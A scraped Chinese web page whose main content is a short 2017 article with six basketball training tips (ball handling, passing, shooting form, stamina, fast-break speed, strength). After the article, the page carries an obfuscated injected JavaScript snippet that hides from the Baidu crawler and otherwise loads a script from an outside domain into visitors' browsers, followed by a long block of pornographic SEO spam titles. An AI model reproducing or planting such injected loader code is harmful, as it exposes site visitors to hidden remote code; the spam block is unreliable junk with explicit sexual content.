當前位置:首頁 > 健康 > 運動健身 > 正文

怎么能練好籃球技巧

2017-04-16 09:47:20  來源:360常識網   熱度:
導語:很多人都覺得會打籃球特別的帥氣,很多時候我們都被操場的一些藍球運動所吸引,那么為什么別人打藍球這么的帥氣,自己卻吸引不到別人的眼球

很多人都覺得會打籃球特別的帥氣,很多時候我們都被操場的一些藍球運動所吸引,那么為什么別人打藍球這么的帥氣,自己卻吸引不到別人的眼球呢?其實練習籃球是有很多技巧的,并不是純碎的投籃等簡單的跑動所能學會的,那么接下來就讓我們一起來了解一下練習籃球的技巧吧!

1、較好的控球能力。

想打好籃球,控球能力是比較重要的,因為只有控制好籃球,才能讓結下了的傳球、投籃變得更加順暢。練習控球就要多拍球,多練習胯下運球等等,多熟悉球感。

2、較高的傳球水平。

傳好球對于打籃球者很重要,精準的傳球能很好的帶動全隊,讓籃球打的更加順暢。如果你打不到很高的水平,只要把籃球傳到位也行。

3、比較好的投籃命中率。

想打好籃球,要努力提高命中率,一般來說,要保持正確的投籃姿勢,持球時右手為主,左手為輔(習慣用左手人相反)。右手手掌托好求,五指自然分開。投球時跳起后仍要擺正身體正直,重心平穩。只有練好正確姿勢,投籃命中率才能上去。

4、比較好的體能。

打籃球是比較消耗體能的,所以想打好籃球,應該體能跟上才行,否則打不了多長時間,就沒有勁頭了。平常要多跑跑步,提高身體的素質。

5、快攻的速度。

打籃球經常會遇到快攻,所以快攻速度很重要,如果你跑不過人家,快攻就宣告失敗了。所以要多練習短跑,提高快攻的速度。這樣能保證快攻的成功率的。

6、強壯的或靈活的身體

想打好籃球,最好有強壯的身體,這樣在對抗中才不吃虧,在內線能更好的搶到籃板球;或者是有比較靈活的身體,能輕松的突破和搶斷。 練習籃球需要很多的技巧,很多時候只有將這些技巧運用起來,那么才可以學會打籃球的一些技術。

想打好籃球,那么大家一定要注重一些技巧。一定要注重快攻的速度以及投籃的命中率等相關方面的問題。在平時無聊的時候,也可以在網上看一些籃球視頻,看看專業人員的打球技巧,再通過視頻也可以自學一些小動作,這樣子積少成多也可以將自己的球技提高。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品免费播放| 无码人妻精品一区二区三18禁| 亚洲精品国产成人中文| 久久夜色撩人精品国产| 久久精品无码一区二区三区免费| 国产在线精品一区二区不卡| 国产精品极品美女自在线观看| 在线观看精品视频看看播放| 国内精品伊人久久久久网站| 国产精品美女流白浆视频| 91久久精品国产成人久久| 99精品国产自在现线观看| 国产成人无码精品久久二区三区| 国产成人精品免费午夜app| 久久国产精品久久国产精品| 亚洲?V无码乱码国产精品| 国产精品天天看大片特色视频| 亚洲AV乱码久久精品蜜桃| 精品久久人人爽天天玩人人妻 | 久久精品成人无码观看56| 色婷婷久久久SWAG精品| 日韩国产精品亚洲а∨天堂免 | 真实国产乱子伦精品视频| 美女免费精品高清毛片在线视 | 日韩AV无码精品人妻系列| 亚洲精品无码专区久久久| 国产精品高清在线| 国产在视频线在精品| 国产精品成人免费视频网站京东 | 久久久久九九精品影院| 国产午夜精品1区2区3福利| 国内精品伊人久久久影院| 日韩精品极品视频在线观看免费 | 最新69国产成人精品免费视频动漫| 国产精品2019| 久久99国产精品尤物| 久久久国产精品一区二区18禁 | 无码专区人妻系列日韩精品少妇 | 99精品全国免费观看视频| 99在线精品视频在线观看| 91久久精品无码一区二区毛片|